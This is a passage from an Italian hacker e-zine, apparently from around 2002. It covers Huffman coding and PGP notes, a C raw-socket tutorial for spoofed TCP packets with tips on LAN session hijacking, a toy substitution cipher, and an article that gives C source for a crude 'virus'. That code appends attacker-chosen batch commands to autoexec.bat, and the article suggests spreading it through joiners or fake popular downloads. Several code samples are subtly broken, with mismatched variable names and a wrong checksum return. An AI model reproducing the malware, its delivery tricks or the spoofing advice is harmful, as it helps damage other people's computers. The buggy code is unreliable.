chiave. In pratica esempiucci: TESTO IN CHIARO [BLOCCO BINARIO] [BLOCCO BINARIO] > [TESTO CIFRATO] oSSIa: lol e' il testo originario! c1 (lol) ;applicazione cifriario c1 c2(c1 (lol) ;prodotto dei cifrari Chissa' perche' in matematica ho 2! :) Ora sapete molto! Chiavi ,algoritmi, crittazione, remailer ,proxy, gatway,ip mask ,programmazione,wingate.. -End 0f 2^nD B0ok- e4m Tezkatlipoka@libero.it Www.bfc.too.it wWW.e4m.linuX-duDe.cOm |----------------------------------------------------| |Art. N° <21> : "Security Info 2002 vol.Bonus" di e4m| |----------------------------------------------------| +-----------------------+-----+ |1) Huffman Cifrature | e4m | +-----------------------+-----+ Questo vulume non era stato stabilito! Ma cio' pensato e Huffman mi ha salvato! Posso descrivervi un grandissimo algoritmo!.. Codificare un testo significa sostituire ciascuna parola (o carattere) del testo originario con la corrispondente parola di codice presente nella tabella del codice. Un codice e' univocamente decodificabile se e possibile decodificare ogni carattere del testo in input in modo univoco. Nell'ambito dei codici univocamente decodificabili e' possibile riconoscere i codici prefissi. Un codice e' prefisso se e' possibile decodificare correttamente una parola di codice non appena essa e' riconosciuta nel testo codificato T, poiché nessuna parola di codice è prefisso di un'altra parola di codice. In generale una parola W e' prefisso di un'altra parola W' se W' = Wa. Di seguito e' mostrato un esempio di codice prefisso a lunghezza variabile Carattere Parola codice A 00 B 01 C 10 D 110 E 111 Se il testo codificato e' T = 0001111, allora scorrendo T si riconosce dapprima il carattere A, quindi, il carattere B ed infine il carattere E, per cui il testo decodificato sara' ABE. Una codifica, d'altronde, e' una regola che associa ad ogni carattere (o parola) del testo una parola di codice. Supponiamo di avere a che fare con un testo su di un file: ogni carattere viene rappresentato da una stringa di 8 bit, quindi se riuscissimo a codificare un carattere utilizzando meno di otto bit, sarebbe possibile diminuire lo spazio occupato dal testo originale. Utilizzando i concetti di entropia e ridondanza e' stato possibile sviluppare algoritmi capaci di risalire alla codifica di un carattere, conoscendone il numero di occorrenza in un dato testo in modo tale da ridurre la taglia complessiva del testo stesso. Ho trovato un algoritmo (proposto da C. Shannon e R. M. Fano) che e' in grado di trovare questa scringe e comprimere. Ecco la procedura di creazione del codice che ho trovato!: ShannonFanoCode(L) if |L| == 1 then return 0 if |L| >= 2 then "dividere L in due sottoliste L1 ed L2 , considerando le coppie nell'ordine in cui si presentano in L1 , in modo tale che la differenza tra (x,n) n e (x,n) n sia minima" "aggiungere uno 0 alla parola di codice wx per tutti i caratteri x : (x,n) L1" "aggiungere uno 1 alla parola di codice wx per tutti i caratteri x : (x,n) L2" if |L1| == 1 then return wx else ShannonFanoCode(L1) if |L2| == 1 then return wx else ShannonFanoCode(L2) Vi faccio vedere ora cosa centra Huffman . L'albero di Huffman e' costruito cosi': (tenete in mente sempre la tabella Carattere-parola codice) Carattere Codifica A 0 B 100 C 101 D 110 E 111 Non sono un artista ma ci provero'.. +------+ 39 0 / + / |1 / | 15 A | +- 24 -+ / \ / \ / \ 13 11 0 / \ 1 0 / \ 1 / \ / \ B C D E 7 6 6 5 Corrisponde alla tabella vero? :) Quindi abbiamo visto come l'algoritmo di Huffman esegua una compressione dati! Non vado avanti perche dovrei parlare di Sibling! Bhe non so nulla! In pratica e' una proprieta' che gode un binario! Ma non c'interessa! +-----------------------+-----+ |3) Chiudere in bellezza| e4m | +-----------------------+-----+ Ci avete capito qualcosa?Io no! uhuh,Comunque l'importante e' che vi sia piaciuto! Con l'ausilio del mio amichetto sla! Si effettivamente lo ho un po sfruttato Thz :* .. eheh Ora e' finito finalmete! Ringrazio nuovamente slash per il suo programma e il suo tocco di basic con l'anonimita'! Vi auguro una buona hakerata (anonimi!!) Consumo: -Un cesso-mp3-pettine-dublo-slash- ! Chiudere in bellezza? Sisi .. Vi spiego come funziona il MIme e un altra botta sul Pgp! Felici? La differenza fondamentale tra i due sistemi e' che mentre il primo utilizza una gestione "utente-centrica" delle chiavi pubbliche (il cosidetto web of trust), il secondo impiega una struttura gerarchica di certificazione (le Certification Authorities o CA). Ma non ce ne frega piu di tanto! Ora c'e' da capire una cosa che prima ho mancato. I certificati! Che servono per verificare l'identita' dei corrispondenti: tra le altre informazioni contengono la loro chiave pubblica e sono firmati da un agente di cui le parti si fidano e che garantisce in questo modo la loro identita'. Questo agente viene detto Certificate Authority (CA). In genere i certificati dovrebbero seguire lo standard X.509. (ho letto da una parte!) PGP Pretty Good Privacy (PGP) e' un programma di crittografia a chiave pubblica che utilizza RSA, IDEA e MD5 per firmare e crittografare i messaggi. Si basa su due RFC: PGP Message Exchange Formats, MIME Security with Pretty Good Privacy. S/MIME S/MIME (Secure/Multipurpose Internet Mail Extensions) e' una proposta di standard per la crittografazione e firma dei messaggi di posta elettronica. Utilizza RSA, RC2 e MD5 La versione 2 e' descritta in due documenti: S/MIME Version 2 Message Specification. S/MIME Version 2 Certificate Handling. Credo di essere stato esaudiente alla prossima Byez!!! e4m Tezkatlipoka@libero.it Www.bfc.too.it wWW.e4m.linuX-duDe.cOm |---------------------------------------------------------| |Art. N° <22> : "Raw socket e pacchetti TCP/IP" di N'eM Sy| |---------------------------------------------------------| ********************************* ** ** ** Breve Guida ai Raw socket ** ** ed ai pacchetti TCP/IP ** ** ** ********************************* scritta da N'eM Sy web http://napolihak.da.ru email nemesy.it@tiscalinet.it irc: irc.webmaster.com #napolihak ------------ Introduzione ------------ Ciao a tutti. Tanto per iniziare voglio spiegare i motivi per cui ho voluto scrivere questo tutorial sui raw socket. I raw socket permettono di gestire manualmente i pacchetti che inviamo su una rete (anche in locale, sulla loopback device). In pratica, di solito, quando ci connettiamo ad Internet il kernel impacchetta i dati che l'applicazione, diciamo un browser, vuole vengano inviati e aggiunge delle informazioni relative alla nostra macchina. Ad esempio aggiunge quale e' l'ip sorgente del pacchetto, a quale ip e' destinato il pacchetto, a quale porta questo e' destinato ed altre informazioni che vedremo in seguito. Con i raw socket (e qualche opzione particolare) tutto questo lavoro sara' fatto da noi. E' uno sporco lavoro, ma qualcuno deve pur farlo! Beh, spero che alla fine questa guida risulti utile a molti... almeno a coloro che vogliono (cominciare a) capire come funzionano le reti ,internet in particolare, e vogliono divertirsi :) Naturalmente tutte queste informazioni le ho acquisite cercando in rete documenti a riguardo, non e' che una mattina mi sono svegliato e mi sono accorto di sapere qualcosa sui socket! Fate lo stesso. Conoscenze di base Se volete capire questa guida e i sorgenti contenuti dovete avere un minimo di conoscenza del C. Poi, se magari avete gia' usato i socket tanto di guadagnato. Dovete avere pero' un minimo di dimestichezza con i socket e su come i byte sono ordinati al loro interno (host byte order e network byte order). Comunque, credo che la maggior parte di voi capira' subito il tutto, anche perche' non e' niente di particolare. ------------- Cosa ci serve ------------- Visto che andremo a vedere come si costruiscono pacchetti TCP/IP abbiamo bisogno di due strutture che ci permettano di mantenere tutte le informazioni necessarie. Queste due strutture sono: struct iphdr e struct tcphdr. Le trovate negli header file ip.h e tcp.h (dovete includere e ). Andiamo a vedere cosa contengono queste due strutture. struct iphdr { unsigned int ihl:4; // :4 indica che il membro e' composto // di 4 bits unsigned int version:4; u_int8_t tos; u_int16_t tot_len; u_int16_t id; u_int16_t frag_off; u_int8_t ttl; u_int8_t protocol; u_int16_t check; u_int32_t saddr; u_int32_t daddr; }; ihl (IpHeaderLength) Lunghezza dell'header ip in parole da 32 bit. Se ha valore 5 significa che e' lungo 5*4 byte. Il valore del campo ihl deve essere posto diverso da 5 solo nel caso in cui l'header contiene opzioni. Di solito questo e' fatto solo dai router. version Versione del protocollo. Deve essere posto sempre uguale a 4 (non serve a niente metterlo a 6 perche' la struttura dell'header IPv6 e' differente). tos (TypeOfService) Controlla la priorita' del pacchetto. I primi tre bit sono interpretati dai router, gli altri 4 indicano la priorita' relativa al tipo di servizio richiesto: il primo di questi indica il Delay, il secondo Throughput, il terzo Reliability il quarto Cost. tot_len Lunghezza dell'intero pacchetto. Questo valore deve tener conto dell'header ip, di quello tcp (o icmp o udp) e dei dati aggiuntivi accodati al pacchetto. id Viene usato per riassemblare il pacchetto IP in caso di frammentazione. frag_off Viene usato per riassemblare il datagrammi frammentati I primi tre bit sono le flag di frammentazione. Il primo di questi bit e' sempre posto a zero. Il secondo indica che non e' stato frammentato, il terzo invece il contrario. Per settare queste flag e' sufficiente fare un OR con il valore esadecimale (per la don't fragment flag frag_off |= 0x4000, per la fragment flag frag_off |= 0x2000). Il valore di ip.frag_off deve essere espresso in NetworkByteOrder, con la funzione htonl(unsigned long int). ttl (TimeToLive) Ad ogni passaggio attraverso un nodo questo valore e' decrementato di una unita'. Quindi piu' alto e' piu' lontano potra' arrivare. Il valore massimo e' 255. protocol Indica il protocollo contenuto nel pacchetto ip. TCP = 0x06, UDP = 0x11, ICMP = 0x01 check Checksum. E' un valore calcolato all'invio. Ogni volta che il contenuto all'interno dell'intero pacchetto viene modificato deve essere ricalcolato. saddr Indirizzo sorgente del pacchetto :) daddr Indirizzo destinatario del pacchetto. Il protocollo IP di per se non garantisce che il pacchetto arrivi a destinazione. Il TCP e' il protocollo piu' utizzato e garantisce un meccanismo per stabilire una connessione affidabile e un'autenticazione. struct tcphdr { u_int16_t source; u_int16_t dest; u_int32_t seq; u_int32_t ack_seq; u_int16_t res1:4; u_int16_t doff:4; u_int16_t fin:1; u_int16_t syn:1; u_int16_t rst:1; u_int16_t psh:1; u_int16_t ack:1; u_int16_t urg:1; u_int16_t res2:2; u_int16_t doff:4; u_int16_t res1:4; u_int16_t res2:2; u_int16_t urg:1; u_int16_t ack:1; u_int16_t psh:1; u_int16_t rst:1; u_int16_t syn:1; u_int16_t fin:1; u_int16_t window; u_int16_t check; u_int16_t urg_ptr; }; source Porta sorgente. dest Porta destinataria. seq Numero di sequenza ack_seq Acknowledgment number. doff Data offset fin Final. La connessione deve essere chiusa. La controparte deve rispondere con un altro pacchetto anch'esso con la flag fin settata. syn Synchronization. Questa flag indica che si vuole inizare una nuova connessione. rst Reset. La connessione e' stata chiusa. psh Push. Il pacchetto non sara' trattenuto dallo stack IP ma giungera' direttamente alla applicazione (usato per pacchetti contenenti dati). ack Acknowledegment. Usato per avvertire la controparte che il pacchetto precedente e' stato ricevuto correttamente. urg Urgent. il pacchetto sara' instradato piu' velocemente dai router. window Quantita' di dati che si possono inviare prima di ottenere una risposta con un ACK check Checksum. E' un valore calcolato all'invio. Ogni volta che il contenuto all'interno dell'intero pacchetto viene modificato deve essere ricalcolato. Serve al ricevente per controllare l'integrita' del pacchetto. urg_ptr Urgent pointer. Se la flag urg non e' selezionata deve essere uguale a zero, altrimenti punta alla fine dei dati che devono essere inviati con priorita'. ---------------- Un po' di codice ---------------- Beh... direte voi! Ora che ci facciamo con tutta sta roba. Semplice, possiamo fare un programma che invii pacchetti spoofati o con qualsiasi altra opzione vogliamo. Il codice che trovate sotto e' estratto da Sacket, un tool GTK per creare pacchetti TCP/IP. Lo trovate sempre su http://napolihak.da.ru -------------------->-<---init_packet--->-<----------------------------- char *init_packet (struct iphdr *ip, struct tcphdr *tcp) { char *sacket; int spoof; /* Allochiamo un puntatore a vettore di char che contenga il tutto */ sacket = calloc (1, sizeof (struct iphdr) + sizeof (struct tcphdr)); ip = (struct iphdr *) sacket; tcp = (struct tcphdr *) (sacket + sizeof (struct tcphdr)); ip->version = 4; /* Ip header lenght */ ip->ihl = 5; /* TypeOfService */ ip->tos = 0; /* L'unsigned short integer frag_off e' utilizzato nel seguente modo: * (L'ordine dei bit e' dal piu' significativo a quello meno, cioe' * da sinistra a destra in pratica :) ) * 1° sempre uguale a 0 * 2° don't fragment: il pacchetto non e' stato frammentato quando e' * stato inviato. * 3° more fragments following: il pacchetto e' stato frammentato. * 4°-16° l'offset del pacchetto ossia il numero d'ordine del frammento. * * Se volete che i pacchetti abbiano tutti la flag don't fragment settata * definite DNT_FRAGMENT (#define FRAGMENT). * Se volete che i pacchetti abbiano la flag more fragments following * settata definite FRAGMENT (#define DNT_FRAGMENT). * */ #ifdef DNT_FRAGMENT /* settiamo la flag don't-fragment con 0x4000 */ ip->frag_off |= 0x4000; /* frag_off deve essere espresso in network bite order */ ip->frag_off = htons (ip->frag_off); #endif #ifdef FRAGMENT /* settiamo la flag don't-fragment con 0x2000 */ ip->frag_off |= 0x2000; /* frag_off deve essere espresso in network bite order */ ip->frag_off = htons (ip->frag_off); #endif #ifndef FRAGMENT #ifndef DNT_FRAGMENT ip->frag_off |= 0x0000; #endif #endif ip->ttl |= 255; /* Il pacchetto viene inviato a noi stessi. * La funzione inet_addr non consente di usare l'ip * 255.255.255.255, visto che 255.255.255.255 convertito * in unsigned long e' -1, lo stesso valore che la funzione * restituisce per gli errori. Se sapete di dover utilizzare * l'ip 255.255.255.255 usate la funzione inet_aton */ ip->daddr = inet_addr ("127.0.0.1"); ip->protocol = IPPROTO_TCP; // TCP = 0x06 // UDP = 0x11 // ICMP = 0x01 /* Porta di destinazione */ tcp->dest = htons (8080); tcp->seq = inet_addr ("127.90.255.78"); tcp->ack_seq = inet_addr ("200.10.90.79"); tcp->urg = 0; tcp->ack = 1; tcp->psh = 1; tcp->rst = 0; tcp->syn = 0; tcp->fin = 0; tcp->window = 0; return sacket; } ---------------------->-<---fine sorgente--->-<--------------------------- La funzione init_pack crea un pacchetto con un settaggio base. Alcune cose, tipo tcp->ack e ip->daddr le ho inserite solo per far vedere come si gestiscono i vari campi degli header. Molto semplice, vero? init_pack restituisce un puntatore a char contenente il pacchetto inizializzato. Le strutture tcp e ip sono passate per puntatore visto che dovranno essere riutilizzate in seguito. --------------------->-<---sendsacket--->-<----------------------------- int sendsacket (struct iphdr *ip, struct tcphdr *tcp, char *sacket) { struct sockaddr_in to; int pack_size = sizeof (struct iphdr) + sizeof (struct tcphdr); int fd, ja = 1; /* Lunghezza totale del pacchetto espressa in network byte order */ ip->tot_len = htons (pack_size); ip->id = getpid (); if (!spoof) ip->saddr = htonl (INADDR_ANY); ip->check = in_chksum (( u_short *)&ip, sizeof (struct iphdr)); tcp->source = getpid (); tcp->check = in_chksum ((u_short *)&ip, sizeof (struct tcphdr)); to.sin_port = 0; to.sin_family = AF_INET; to.sin_addr.s_addr = ip->daddr; if ((fd = socket (PF_INET, SOCK_RAW, IPPROTO_TCP)) < 0) { return -2; } /* Con la macro IP_HDRINCL avvertiamo il kernel che il pacchetto * contiene gia' l'header IP. Se non facessimo cosi il kernel * aggiungerebbe di suo un altro header IP. */ if (setsockopt (fd, IPPROTO_IP, IP_HDRINCL, &ja, sizeof (ja)) < 0) return -1; return (sendto (fd, sacket, pack_size, 0, (struct sockaddr*)&to, sizeof (struct sockaddr))); } ---------------------->-<---fine sorgente--->-<--------------------------- La funzione invia il pacchetto cosi come e' stato settato (da qualcun'altra funzione). La funzione ritorna un intero. Se questo e' positivo l'invio ha avuto buon esito e il numero ritornato rappresenta il numero di bytes inviati. Se la funzione ritorna -2 c'e' stato un errore nella creazione del socket, probabilmente dovuto a problemi di privilegi (bisogna essere root). Tutti gli altri valori negativi indicano un errore generico. u_short in_chksum (u_short *addr, int len) { int nleft = len , sum = 0; u_short *w = addr; u_short value = 0; while (nleft > 1) { sum += *w++; nleft -=2; } if (nleft == 1) { *(u_char *)(&value) = *(u_char *)w; sum += value; } sum = (sum >> 16) + (sum + 0xffff); sum += (sum >> 16); answer = ~sum; return (value); } Funzione per il calcolo del checksum. --------------------- Considerazioni finali --------------------- Dovete tenere presente che modificando l'ip sorgente del pacchetto non e' comunque possibile stabilire una connessione TCP. Lo chiarisco per quelli di voi che gia' stavano saltando dalla gioia pensando di poter finalmente invia email anonime, o giocare brutti scherzi :) Devo dire la verita', pure io ero tra voi :D Va bene, chiarito tutto spiego perche' non e' possibile. Non e' possibile perche' il protocollo TCP impone un handshake iniziale. In questa fase il client che richiede la connessione setta il campo seq del header tcp con un numero random, il campo ack_seq uguale a zero e la flag SYN uguale a 1. Quando il server riceve questo pacchetto risponde con il campo ack_seq contenente un valore random e con le flag ACK e SYN settate, dopo di che il client risponde con la flag ACK settata. Il campo ack_seq settato a zero impedisce di creare facilmente connessioni tcp spoofate. Dico facilmente perche' nei kernel 2.2.17 (mi pare fossero i .17) c'era un bug che permetteva di predire l'ack_seq che il kernel avrebbe utilizzato. Ricordate che tutto questo vale solo per il TCP. L'UDP e l'ICMP non hanno queste caratteristiche quindi usando l'UDP magari potete creare un modo anonimo di comunicare con altri. Basterebbe comunicarsi inizialmente gli indirizzi reali e poi comunicare tramite pacchetti UDP con sorgente spoofato. Ah, dimenticavo di dirvi una cosa che ri-rendera' felicissimi quelli di voi che stanno in una LAN. Ricordate che non e' possibile spoofare una connessione TCP completa a causa del ack_seq del server? Beh, se fosse possibile sapere qual'e' questo numero allora il gioco sarebbe fatto. Se siamo in Internet con una connessione dialup (con un modem, in pratica) non possiamo vedere qual'e' perche' a noi arriveranno solamente i pacchetti che hanno noi come destinazione. Ma se siamo in una LAN, eheh, tutto cambia! Se mettiamo la scheda ethernet in modalita' promiscua, possiamo vedere tutto il traffico che ci attraversa. In questo modo per vedere l'ack_seq number che il server usera' in risposta ad un nostro pacchetto spoofato bastera' usare come indirizzo spoofato quello di un computer i cui pacchetti passano attraverso la nostra scheda. Pero' la risposta al pacchetto inviato dal server dovra' essere il piu' veloce possibile per impedire che il vero destinatario del pacchetto risponda con la flag RST chiudendoci cosi la connessione in faccia :( Cos'altro dirvi? Esplorate, leggetevi i sorgenti del kernel o di qualsiasi altra cosa vi capiti tra le mani. Il "free software" e' bello proprio per questo, per la possibilita' di accrescere le nostre conoscenze che da ad ognuno di noi. Bisogna solo cercare e imparare, cercare e imparare, cercare e imparare... N'eM Sy (nemesy.it@tiscalinet.it) for napolihak.da.ru Allego la mia chiave pubblica per chi di voi non solo mi volesse scrivere, ma addirittura con lo voglia fare con pgp. -----BEGIN PGP PUBLIC KEY BLOCK----- Version: PGP 6.5.8 mQEPAzvtfsUAAAEIAK/XtUG0jmS981V+uqgAd5xXnPQMi07mWXb++3TV5z+8mt4g 6SENRv97gLX0LbYbYOANB6+Clg0n/5ikNDxnCm6w+tHvKm9MMH5F1Tylr0HFz4Jo LvvMLgtG3yc8QuzrtpuPZ6hdvnZ7z2HNb/kQqoHIh7xqmD+XmbLt9lVsY0I1AT6b SeNzB5ets+wuBx10kRn2KOtu6mEPC1dXTBAVh+guF+nWF16mYZi6IHRr9kI2Z0jn hF0H5zHUkg9hZwJz3ck7gHOkzOiJ7BU7H0K+vDK5lUc8P4N3WFYU8Jfd4g/T3TK5 8SJEwb11dsB89jfwbqd0ygO7w1SwCVa9+1y/88UAEQEAAbQgbmVtIGl0IDxuZW1l c3kuaXRAdGlzY2FsaW5ldC5pdD6JARUDBRA77X7FCVa9+1y/88UBAWkgB/9+nIPm tQMATzbm3sNOHXtax6nTh8HEA2+XpV1GXEuF/UTSslq6oTXEONHQ6I3BTILMKYqq GTy/li6kRozq05P54fOYNcs3W8XcmxvsWilUQs9uiVdCuOW3kBI2goh0o9rnKx8w N6sUlxLfRJwO90CN0Iy8TvzDlbjqqJHRqyFNR3x5LpsmaLUFC5XnEjeeIp+lgJO/ kD27FHT3dtdayGz0q2q18k1ggHaSisc+MlOFWuavP4tGdEcpFFC6kt8Z++7KV9ln CAZwqKkaFSEXn5PyBgxbXaO9MOFoXmdE3Uknzx2lHalevZK+OTxKHUtWawe5TKDo ES2qBzBPRsZc39BU =i+/9 -----END PGP PUBLIC KEY BLOCK----- "Who controls the past controls the future. Who controls the present controls the past. Who controls the present, now?" |----------------------------------------------------| |Art. N° <23> : "Crypto tutto con i cicli!" di Marvin| |----------------------------------------------------| ######################### MARVIN mh@altavista.it ######################### Crypto tutto con i cicli! Ben ritrovati!Con l'articolo presente proveremo a creare un programma che cripti un qualsiasi messaggio di testo.Niente fronzoli come cifratura a chiave pubblica o privata,il nostro programma cambierà ogni lettera o numero del nostro messaggio in un carattere corrispondente e lo stamperà su un file. MA come faremo?Tutto in cicli!Uno per l'immissione dei caratteri del messaggio,uno per la directory di salvataggio del file,uno per la stampa sul file dei caratteri del nostro messaggio. Associeremo ad ogni lettera un'altra,ad un numero un'altro e lo stesso con i simboli:in questo caso ho assegnato alle lettere minuscole dell'alfabeto le lettere corrispondenti all'ordine in cui le troviamo sulla nostra tastiera(o meglio,nella mia...),come a=q,b=w,c=e,ecc... Inizializzeremo un buffer di caratteri per il nostro messaggio e,con un ciclo for() contenente l'indice del buffer(corrispondente al contatore del ciclo) e un'istruzione di scelta condizionata switch(), assegneremo le corrispondenze per ogni elemento del buffer. Intanto avremo aperto un file(ho utilizzato "w" così nel caso il file non esista viene creato),e man mano stamperemo ogni carattere sul nostro file. MA vediamo il codice: /*****************************************************************************************************/ /*Semplice programma di criptazione di un file*/ #include #include #include /*libreria per la gestione delle stringhe*/ int main(int argc, char *argv[]) { char buff[100]; /*dichiaro un buffer di 100 caratteri*/ char salva[100]; /* buffer per la directory di salvataggio */ int i,j; /*contatori*/ FILE *ptr; /*puntatore al file che apriremo per scrivere l'output del programma*/ printf("ProvaCrypt by Marvin\n"); printf("Inserisci un messaggio di testo:\n"); for(i=0;(buff[i]=getchar()) != '\n';i++); /*ciclo di immissione dei caratteri di buff[] */ printf("Directory di salvataggio del file criptato(con relativa estensione):\n"); for(i=0;(salva[i]=getchar()) != '\n';i++); /* ciclo di immissione della directory di salvataggio */ ptr=fopen(salva,"w"); /*apertura del file tramite il puntatore ptr(pointer)*/ for(j=0;buff[j] != '\0' ;j++) /*ciclo di sostituzione */ { switch(buff[j]) /*istruzione simile a if...else,consente una scelta multipla senza imputtanarsi con cicli condizionali annidati*/ { case 'a': /*nel caso buff[i] sia uguale ad a... */ fputc('q',ptr); /* ...stampa sul pile (indicato dal pointer "ptr") la lettera 'q' */ break; /* termina e ricomincia il ciclo */ case 'b': fputc('w',ptr); break; case 'c': fputc('e',ptr); break; case 'd': fputc('r',ptr); break; case 'e': fputc('t',ptr); break; case 'f': fputc('y',ptr); break; case 'g': fputc('u',ptr); break; case 'h': fputc('i',ptr); break; case 'i': fputc('o',ptr); break; case 'j': fputc('p',ptr); break; case 'k': fputc('a',ptr); break; case 'l': fputc('s',ptr); break; case 'm': fputc('d',ptr); break; case 'n': fputc('f',ptr); break; case 'o': fputc('g',ptr); break; case 'p': fputc('h',ptr); break; case 'q': fputc('j',ptr); break; case 'r': fputc('k',ptr); break; case 's': fputc('l',ptr); break; case 't': fputc('z',ptr); break; case 'u': fputc('x',ptr); break; case 'v': fputc('c',ptr); break; case 'w': fputc('m',ptr); break; case 'x': fputc('v',ptr); break; case 'y': fputc('b',ptr); break; case 'z': fputc('n',ptr); break; /* [...] -----> altri "case" per le maiuscole,i numeri e i simboli */ } } fclose(ptr); /*chiude il file e ne salva i dati */ printf("File criptato con successo!"); return EXIT_SUCCESS; } /*********************END*****************************************/ /************************************************************************/ E per il decriptatore?Dovremo ripetere l'operazione al contrario:al posto di stampare i caratteri sul file dovremo leggerli uno per uno(ad esempio con un ciclo e l'istruzione fgetc()) finchè non arriviamo a fine file(definito da EOF-End Of File-),assegnare le corrispondenze e stamparle a video o su un file. |-------------------------------------------------------| |Art. N° <24> : "Usiamo il C per scopi loschi" di Marvin| |-------------------------------------------------------| ############################ MARVIN mh@altavista.it ############################ Usiamo il C per scopi loschi Questo articolo è rivolto a coloro che hanno già un'infarinatura generale di linguaggio C,dato che vedremo come utilizzare questo splendido linguaggio per provocare danni ad un utente che utilizzi l'OS di casa Microsoft. In C,come dovreste sapere,è possibile operare sui file,ed eseguire operazioni come apertura in sola lettura,in scrittura e in append.Ci serviremo di queste istruzioni(in tutto una manciata) per costruirci un rudimentale(troppo!) virus,basato sugli ormai famosi file batch tanto pericolosi per Windows.Sarebbe meglio non definire virus quello che creeremo,perchè verrà richiesta l'immissione di un codice batch da inserire nel file autoexec.bat. MAgari vi chiederete perchèmmai non posso inviare direttamente il file batch per far danni(da buon lamero);vi rispondo semplicemente che 1)E' troppo sospetto e l'utente non troppo stupido(non che un .exe sia insospettabile...) 2)Così è molto più CuUuUuL! Ma come dobbiamo fare esattamente?Togliendo la parte della programmazione batch(che dovremo comunque inserire all'interno del sorgente C),sono poche le operazioni da fare(precisamente due): -Aprire il file autoexec.bat in modalià append e scriverei comandi che vogliamo -Chiudere il file autoexec.bat Tutto qui.Ma ora iniziamo. Prima della creazione del nostro sorgente dovremo includere due header: La libreria standard di I/O,con istruzioni quali printf e scanf Libreria che consente la manipolazione delle stringhe,e comprende funzioni quali "strlen","strcopy" e "strcmp". Quindi: #include #include Fatto questo procediamo con la creazione della nostro procedura principale e la dichiarazione delle variabili che ci serviranno: int main(int argc,char *argv[ ]) { char buff[160]; FILE *fp; int len; } E ora qualche spiegazione: "char buff[160]" crea un vettore che riserva 160 caratteri per l'immissione del nostro codice batch(se vi servono più caratteri basta aumentare il contenuto del vettore); "FILE *fp" è il puntatore al file che apriremo; "int len" è invece la variabile che ci servirà per verificare la lunghezza della stringa che varrà immessa. Bella lì!Ora che abbiamo dichiarato le nostre variabili procediamo con la richiesta di immissione di caratteri e la verifica della lunghezza delle stringa immessa(affinchè non si verifichi un overflow): int main(int argc,char *argv[ ]) { char buff[160] = "stringa di immettere(comandi batch)"; FILE *fp; int len; len = strlen(buff); } strlen() verifica che la lunghezza della stringa immessa non sia superiore allo spazio che le è stato riservato in memoria dal vettore buff[160]. Bene,ora non ci resta altro da fare che aprire il file che desideriamo(qui io apro l'autoexec.bat,ma potete aprire qualsiasi file vogliate) e scriverci dentro in modalità append(cioè in coda alle altre istruzioni già presenti nel file senza che queste subiscano modifiche) int main(int argc,char *argv[ ]) { char buff[160] = "stringa di immettere(comandi batch)"; FILE *fp; int len; len = strlen(buff); fp = fopen("c:\autoexec.bat" , "a"); fwrite(buf, 1 , len , fp); fclose(fp) } fopen() apre il file autoexec.bat in modalità append (a) ,poi vi viene scritto il contenuto del vettore buf tramite l'istruzione fwrite.Infine il file viene chiuso(con la garanzia che i dati inseriti vengano memorizzati su disco).Ed ecco il sorgente in tutto il suo splendore: ----------------------------------------- #include #include int main(int argc,char *argv[ ]) { char buff[160]="stringa da immettere(comandi batch)"; FILE *fp; int len; len = strlen(buff); fp = fopen("autoexec.bat" , "a"); fwrite(buf, 1 , len , fp); fclose(fp) } ------------------------------------------ Il codice che ci serve è tutto questo. Naturalmente rimane il problema di come far eseguire il nostro file all'utente di Win che vogliamo colpire.Bhè,anche se non è un problema mio,potreste usare un joiner per unire due eseguibili o un'immagine con un eseguibile. Oppure potete inserirlo come un software molto richiesto all'interno di un sito in modo che venga scaricato ed eseguito. Dopotutto,LE RISORSE DEL LAMERO SONO INFINITE! |----------------------------------------| |Art. N° <25> : "Guida al Perl" di Marvin| |----------------------------------------| ######################### MARVIN mh@altavista.it ######################### GUIDA AL PERL Eccomi di nuovo a scrivere per voi,su comando di M3xican,una approfondita guida al Perl.Questa guida non pretende di essere un "vangelo" di questo linguaggio di scripting ,ma solo dare una panoramica abbastanza approfondita su questo bellissimo (e soprattutto mooolto utile) linguaggio quale è il Perl. Introduzione ----------- Come ho già accennato sopra,il Perl è un linguaggio di scripting,cioè alla sua nascita non veniva molto preso in considerazione dato che veniva utilizzato solo per automatizzare operazioni quali trattemento di stringhe o di testo. Ora la situazione è cambiata:il Perl è diventato uno strumento indispensabile per un buon webmaster,ma anche per un programmatore,dato che non solo è parte integrante degli script CGI che,ad esempio,si utilizzano nella maggior parte delle volte per il trattamento di dati immessi nei form,ma anche per fare veri e propri programmi,tra i quali anche alcune backdoor che vedremo in seguito... Il Perl racchiude in se stesso semplicità e duttilità.Dico duttilità perchè nel Perl non c'è un unico modo per fare qualcosa,ma ne esistono diversi,in base ad ogni esigenza del programmatore(vedi il costrutto di scelta condizionata). Per questa guida prenderò come dato di fatto alcune cosette semplici semplici: -Una discreta conoscenza dell'ambiente Unix-Linux e del suo modo di "pensare" -Avere qualche conoscenza su qualunque linguaggio di programmazione (no,l'HTML non è un vero linguaggio...),per sapere almeno che cos'è una variabile o cose del genere -Voglia.Il Perl o lo ami o lo odi,non esistono vie di mezzo. Il Processing Estraction Report Language (il Perl appunto) è un linguaggio interpretato,cioè non viene tradotto in linguaggio macchina,ma deve essere processato ogni volta dal suo interprete per essere eseguito.Non prendete quest'informazione come marginale,perchè è importante sapere esattamente dove si trova l'interprete Perl ("which perl" dal vostro emulatore di terminale o da console),sia se in locale che in remoto,dato che all'inizio di uno script deve essere sempre indicata la directory dove è localizzato l'interprete,ad esempio: #!/usr/bin/perl E' l'unico caso in cui ciò che viene scritto dopo il cancelletto (#) viene tenuto in considerazione.Infatti il cancelletto viene usato per scrivere commenti su porzioni di listato che non verranno visualizzati durante l'esecuzione del programma,ma saranno d'aiuto per eventuali esaminatori del vostro sorgente. Bene,ora credo che sia il momento di cominciare. Variabili e Array scalari e associativi -------------------------- Una variabile è un elemento che può assumere diversi valori random o assegnati dall'utente finale o dal programmatore.Per chi ha già dimistichezza con altri linguaggi di programmazione,come ad esempio il C o il C++,una variabile generalmente deve essere prima dichiarata per poter essere usata,ad esempio: int variabile_1 = 3; indicandone il tipo (integer,double,booleana,char,ecc...).Nel Perl invece no.Una variabile,al momento del suo utilizzo,si dichiara automaticamente.E' l'interprete Perl che decide,in base al valore assegnato alla variabile,il suo tipo.Una variabile è dotata di un nome,sempre preceduto dal simbolo $(nel caso sia una variabile scalare) , @(nel caso sia un array) oppure da %(in presenza di un hash) : $nome della variabile Ad una variabile possono essere assegnati diversi valori: -Una stringa di caratteri $variabile1 = "Ciao mondo!"; -Un numero intero $variabile2 = 2; -Un numero a virgola mobile $variabile3 = 1,56; -Operazioni con numeri $variabile4 = 2 * 10; Esistono però alcune variabile definite come "riservate",in quanto hanno già un valore assegnato a priori: - $< Visualizza l'UID dell'utente che ha eseguito il programma - $0 Visualizza il nome del 